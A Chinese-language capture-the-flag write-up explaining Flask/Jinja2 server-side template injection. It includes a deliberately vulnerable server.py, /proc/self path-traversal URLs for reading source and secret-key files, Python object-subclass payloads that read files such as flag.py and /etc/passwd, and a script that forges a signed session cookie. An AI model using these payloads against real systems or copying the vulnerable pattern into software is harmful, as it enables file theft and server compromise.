一、flask:
Flask是一个使用python编写的 Web 应用框架,模板引擎使用 Jinja2 。j简单理解为,flask 是一个开发web 程序的python 第三方框架,即可以通过这个框架编写自己想要的web 程序。
二、SSTL注入:
中文解释为 服务器模板注入攻击,即服务器端接受客户端输入数据,并作为web 应用模板数据的一部分,在执行目标渲染时,恶意代码将被执行。重点就在对目标文件渲染的过程,不同的框架使用的渲染模板引擎不同,flask 使用的时Jinja2进行渲染。
flaskx下有两种渲染方式
flask.render_template_string("目标字符串") #z字符渲染
flask.render_template(目标文件,参数(键对值形式:name=value)) #文件渲染
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
app = Flask(__name__)
#字符渲染
@app.route('/')
def index():
txt='''<h1>hello world!</h1>'''
return render_template_string(txt)
#文件渲染
@app.route('/')
def index():
txt='''hello world!'''
return render_template('test.html',test=txt)
#文件渲染的目标文件
# templates文件下
# /test.html 文件有
<h1>welcome!</h1>
<h1>{{test}}</h1>
上面代码启用字符渲染时,客户端访问 http://ip:5000/ 得到 hello world!
当启用文件渲染时,客户对岸输入 http://ip:5000/ 将得到
而存在SSTL 漏洞的是第一种字符渲染,
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
app = Flask(__name__)
#字符渲染
@app.route('/')
def index():
code = request.args.get('xxx')
txt='''<h1>hello world! %s</h1>'''%(code)
return render_template_string(txt)
当输入 http://ip:5000/?xxx={{9*9}} 时得到了 81 可见表达式被执行了 。在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}
可以传递变量,还可以执行一些简单的表达式。
这就是一个简单的SSTL 漏洞
三、原题目来自 《从0 到1 CTFer成长之路配到练习》,下面是简化的题目
题目描述:
flask 框架 编写的一个 简易web 应用程序,server.py
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
with open('flag.py','r') as f:
exec(f.read())
with open('key.py','r') as f:
exec(f.read())
app = Flask(__name__)
FALG=flag
app.secret_key=key
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route("/test", methods=["GET", "POST"])
def test():
if request.method != "POST":
return render_template_string('''<h1>!!!</h1>''')
name= request.form.get('test') or None
name = name.replace(".", "").replace("_", "").replace("{","").replace("}","")
print(name)
if "test" not in session or session['test'] is None:
session['test']=name
if session['test'] is not None:
template = '''<h1>hello %s Welcome!</h1><br><a href='/article?name=article'>点击试试</a> '''% session['test']
session['test'] = None
return render_template_string(template)
@app.route('/article', methods=['GET'])
def article():
page = request.args.get('name')
if page.find('flag')>=0:
return render_template_string("NO NO NO!!!")
if page=='article':
page=page+'.txt'
try:
template = open('{}'.format(page),encoding='utf-8').read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
题目 目录环境为
/test/
server.py
article.txt
flag.py
key.py
/templates/
article.html
main.html
# flag.py 文件内容
flag='flag{lusongtestflask}'
# key.py 文件内容
key='asdfghjkloiuygvbhg56tfd'
# article.txt 文件内容
你好!加油!
# article.html 文件内容
<h1>Article Content:</h1>
<br>
{{template}}
# main.html 文件内容
<h1>Welcome to ctf test page</h1>
<br>
<form method="post" action="test">
Your name: <input name="test">
<br>
<input type="submit"><br>
</form>
练习目标:熟悉 linux的proc目录、flask 注入、任意文件读取
四、解题步骤:
1、靶机 运行web 程序 python3 server.py
2、浏览器访问:http://ip:5000/ flask 默认端口 5000
2、看到一个输入界面,随意输入 提交 输出一句话 ,其我们刚输入的字符被一起输出。
4、点击
5、发现是GET 传入 name=article 尝试随便输入一个数据
发现抱错 没有找到文件 或目录 ,即得出结论,这是要传一个文件,试着做目录穿透
6、访问: http://ip:5000/article?name=../../../../proc/self/cmdline
proc 目录通常存储着进程动态运行的各种信息,是一种虚目录 、/proc/[pid]/ 表示存储这进程id为pid 的 进程信息,当方法当前进程 pid 用self 代替,即 /proc/self/.
/proc/[pid]/cmdline 下可读出进程在终端输入过的命令命令
则根据返回的 python3server.py 可得知 当前进程为启动的一个server.py 程序。因为proc目录为虚拟目录,想要到进程实际目录 可用cwd 命令跳转
7、访问:访问: http://ip:5000/article?name=../../../../proc/self/cwd/server.py
得到server.py 源码,发现 flag.py、key.py,而且和server.py 在一层目录
直接访问 http://ip:5000/article?name=../../../../proc/self/cwd/flag.py ,发现访问不了 ,
看看key.py能否访问, 访问:http://ip:5000/article?name=../../../../proc/self/cwd/key.py ,发现可以得到数据。
分析server.py 中key 的作用
发现 app.secret_key=key, app.secret_key 为flask 的session 的签名密钥,session 是基于cookie的,即session 经过加密后形成cookie ,分析server.py 中的代码:
发现,前面我们向表单输入一个数据,并不是直接返回,是先放在session 中,在通过session['test]得到并整合到一个字符串中,然后通过render_template_string() 进行渲染,即这存在一个SSTL 注入漏洞,我们的目的是要读取flag,py 文件信息,想到python的魔法方法,
python2 下获取file 类实现文件读取
# 获得一个字符串实例
>>> ""
''
# 获得字符串的type实例
>>> "".__class__ //获取实列的type 实例 (个人暂时理解为获取实例的 类型/类)
<type 'str'>
# 获得其父类
>>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>) //object 类为万类之源
# 获得父类中的object类
>>> "".__class__.__mro__[2]
<type 'object'>
# 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>......
# 获得第40个子类,即一个file类
>>> "".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>
# 实现file 类 来读取想要读取的的文件信息
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>
# 使用file() 读取信息
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
#python3 取消了file 类,可以用 <class '_frozen_importlib_external.FileLoader'> 类代替
#同样操作 从一个基类向上找object 类,在向下寻找需要的额类
>>>"".__class__.__bases__[0].__subclasses__()[100]
<class '_frozen_importlib_external.FileLoader'>
#查看这个类的方法有那些
>>"".__class__.__bases__[0].__subclasses__()[100].__dict__ #发现一个 get_data() 方法
{'__module__': '_frozen_importlib_external', '__doc__': 'Base file loader class which implements the loader protocol methods that\n require file system usage.', '__init__': <function FileLoader.__init__ at 0x000002925DEB99D0>, '__eq__': <function FileLoader.__eq__ at 0x000002925DEB9A60>, '__hash__': <function FileLoader.__hash__ at 0x000002925DEB9AF0>, 'load_module': <function FileLoader.load_module at 0x000002925DEB9C10>, 'get_filename': <function FileLoader.get_filename at 0x000002925DEB9D30>, 'get_data': <function FileLoader.get_data at 0x000002925DEB9DC0>, 'get_resource_reader': <function FileLoader.get_resource_reader at 0x000002925DEB9EE0>, 'open_resource': <function FileLoader.open_resource at 0x000002925DEB9F70>, 'resource_path': <function FileLoader.resource_path at 0x000002925DEBB040>, 'is_resource': <function FileLoader.is_resource at 0x000002925DEBB0D0>, 'contents': <function FileLoader.contents at 0x000002925DEBB160>, '__dict__': <attribute '__dict__' of 'FileLoader' objects>, '__weakref__': <attribute '__weakref__' of 'FileLoader' objects>}
#调用 get_gata() 读取文件
>>"".__class__.__bases__[0].__subclasses__()[100].get_data('r','flag.py')
构造 数据: python2 为:{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
python3为:{{().__class__.__bases__[0].__subclasses__()[index].get_data('r','flag.py')}}
index 的值在不同的python3 不同的版本中是不同的 python3.8.10 为99 python 3.9.7为100 其他的没试过
利用一些浏览器工具查看服务器信息发现python 版本为 python3.8.10
则注入原数据为:
{{().__class__.__bases__[0].__subclasses__()[99].get_data('r','flag.py')}}
我的环境为python3 使用第二条数据,发现没用,而且我们输入的一些符号没有回显,推断服务器将我们输入的数据进行了一些符号处理。
查看源码,发现这么一条代码,即对我们输入的 一些符号进行了删除
name = name.replace(".", "").replace("_", "").replace("{","").replace("}","")
cookie 伪造吧,想想我们已经获取了app.secret_key的值,具有伪造flask cookie 的条件,编写简单的脚本生成cookie
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
app.secret_key='asdfghjkloiuygvbhg56tfd' #获取的key
@app.route('/')
def index():
#要伪造的数据 python 3.8.10 为99
txt="{{().__class__.__bases__[0].__subclasses__()[99].get_data('r','flag.py')}}"
session['test']=txt #放入session 中 会用 key 自动加密后发给客户端
ls='''hello '''
return render_template_string(ls)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
运行上面的脚本,并在浏览器访问,得到伪造的cookie数据
将得到的cookie 复制在目标网站的cookie 的cookie中,并保存
点击提交,伪造的cookie 信息就被发送到了服务器中,得到flag信息。
五、总结
flask SSTL 注入、 python 魔法方法 、 linux proc 文件 。在做的时候关键是在python 3 中没有file 类,要从新寻找一个类来实现文件读取,在网上查询了很多的文章,但放在总结的环境中总是报错,在一个一个尝试下 发现 <class '_frozen_importlib_external.FileLoader'> 类能用,但在不同的python 版本中这个类的位置又不一样,但都在 "".__class__.__bases__[0].__subclasses__() 下 ,即 object 类的下的第一层。